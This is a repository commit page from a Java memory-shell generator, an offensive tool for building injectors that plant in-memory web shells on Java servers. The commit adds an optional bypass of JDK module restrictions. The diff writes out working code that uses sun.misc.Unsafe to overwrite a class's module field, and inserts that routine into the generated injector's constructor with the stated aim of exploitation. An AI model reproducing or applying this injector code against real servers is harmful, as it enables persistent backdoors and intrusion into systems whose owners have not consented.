archive/java-memshell-generator
1
0
Fork 0
mirror of https://github.com/pen4uin/java-memshell-generator.git synced 2026-09-22 01:30:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

add: 支持绕过高版本 JDK Module 访问限制进行注入（可选）

Browse Source
This commit is contained in:
pen4uin
2024-08-25 17:29:15 +08:00
parent 5898ae1ecd
commit 4d43d247c1
4 changed files with 55 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files
jmg-core/src/main/java/jmg/core/config/AbstractConfig.java
+8
View File
@@ -129,7 +129,15 @@ public class AbstractConfig {
public String shellGzipBase64String;
public boolean isEnableBypassJDKModule() {
return enableBypassJDKModule;
}
public void setEnableBypassJDKModule(boolean enableBypassJDKModule) {
this.enableBypassJDKModule = enableBypassJDKModule;
}
private boolean enableBypassJDKModule;
public boolean isEnableDebug() {
return enableDebug;
}
jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java
+16 -8
View File
@@ -1,15 +1,10 @@
package jmg.core.generator;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.*;
import javassist.bytecode.AccessFlag;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.util.CommonUtil;
import jmg.core.util.CtClassUtil;
import jmg.core.util.InjectorUtil;
import jmg.core.util.JavassistUtil;
import jmg.core.util.*;
/**
@@ -62,6 +57,19 @@ public class InjectorGenerator {
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
}
if (config.isEnableBypassJDKModule()) {
// 添加 bypassJDKModule 方法
CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
ctMethod.setModifiers(AccessFlag.PUBLIC);
ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
ctClass.addMethod(ctMethod);
// 添加 bypassJDKModule 调用
CtConstructor constructor = ctClass.getConstructors()[0];
constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
constructor.insertBeforeBody("bypassJDKModule();");
}
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java
+23
View File
@@ -0,0 +1,23 @@
package jmg.core.util;
// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
public class JDKBypassUtil {
public static String bypassJDKModuleBody() throws Exception {
return "{try {\n" +
" Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
" unsafeField.setAccessible(true);\n" +
" Object unsafe = unsafeField.get(null);\n" +
" java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
" Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
" java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
" Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
" getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
" } catch (Exception ignored) {\n" +
" }}";
}
}